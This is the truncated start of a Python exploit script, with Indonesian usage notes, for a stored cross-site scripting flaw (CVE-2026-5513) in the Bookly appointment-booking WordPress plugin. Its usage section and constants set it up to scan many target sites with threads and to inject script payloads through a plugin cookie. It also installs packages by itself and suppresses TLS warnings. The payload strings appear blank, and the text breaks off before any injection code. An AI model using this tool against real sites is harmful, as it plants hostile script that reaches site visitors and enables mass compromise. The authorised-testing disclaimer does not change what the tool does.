#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-5513 — Bookly <= 27.2 Stored XSS via Cookie
=====================================================
Plugin : Online Scheduling and Appointment Booking System – Bookly
Versi : <= 27.2
CVSS : 7.2 (High)
Patch : 27.3+
Vector : bookly-customer-full-name cookie (Stored XSS)
Prereq : "Remember personal information in cookies" harus enabled
Penggunaan:
# Single target — check only
python CVE-2026-5513.py -u http://target.com
# Single target — inject XSS payload
python CVE-2026-5513.py -u http://target.com --inject
# Multi target dari file + threading
python CVE-2026-5513.py -l list.txt -t 20
# Custom payload
python CVE-2026-5513.py -u http://target.com --inject --payload "
"
# Simpan hasil ke file
python CVE-2026-5513.py -l list.txt -t 10 -o hasil.txt
DISCLAIMER:
Untuk penetration testing dan penelitian keamanan yang sah saja.
Penggunaan tanpa izin adalah ilegal.
"""
import argparse
import os
import queue
import re
import sys
import threading
import time
from datetime import datetime
from urllib.parse import urlparse, quote
# ─────────── Dependency Check & Auto-Install ───────────
def _ensure_deps():
missing = []
try:
import requests # noqa: F401
except ImportError:
missing.append("requests")
try:
from colorama import Fore # noqa: F401
except ImportError:
missing.append("colorama")
if missing:
print(f"[*] Installing missing modules: {', '.join(missing)} ...")
import subprocess
subprocess.check_call(
[sys.executable, "-m", "pip", "install"] + missing + ["-q"]
)
_ensure_deps()
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from colorama import Fore, Style, init as colorama_init
colorama_init(autoreset=True)
# ─────────── Color Aliases ───────────
R = Fore.RED
G = Fore.GREEN
Y = Fore.YELLOW
B = Fore.BLUE
C = Fore.CYAN
M = Fore.MAGENTA
W = Fore.WHITE
BD = Style.BRIGHT
DM = Style.DIM
RS = Style.RESET_ALL
# ─────────── Global State ───────────
print_lock = threading.Lock()
results_lock = threading.Lock()
stats = {"total": 0, "done": 0, "vuln": 0, "safe": 0, "error": 0, "injected": 0}
vuln_list = []
# ─────────── Constants ───────────
TIMEOUT = 15
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/120.0.0.0 Safari/537.36")
COOKIE_NAME = "bookly-customer-full-name"
DEFAULT_PAYLOAD = '
'
# XSS canary — unique string to detect reflection
CANARY = "bkly5513xss"
CANARY_PAYLOAD = f'"{CANARY}